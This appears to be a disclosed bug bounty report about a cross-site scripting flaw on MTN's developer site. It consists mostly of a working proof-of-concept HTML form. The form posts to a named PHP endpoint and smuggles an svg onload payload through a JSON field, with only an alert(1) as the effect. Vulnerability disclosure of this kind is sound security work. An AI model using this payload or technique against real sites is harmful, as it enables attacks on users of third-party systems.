MTN Group · Report #924851
xss on [developers.mtn.com]
Validstatus
mediumseverity
16upvotes
19 Apr 2022disclosed
How it was found
xss on
`<html>
<body> <script>history.pushState('', '', '/')</script> <form action="https://developers.mtn.com/sites/all/themes/mtn/helpers/faq-helpful.php" method="POST" enctype="text/plain"> <input type="hidden" name="{"title":"Do you have sample or reference applications that could demonstrate some API calls for me?","helpful":"false<svg onload" value="alert(1)>"}" /> <input type="submit" value="Submit request" /> </form> </body> </html>`{F908897}
Impact
POC {F908895}
{F908896}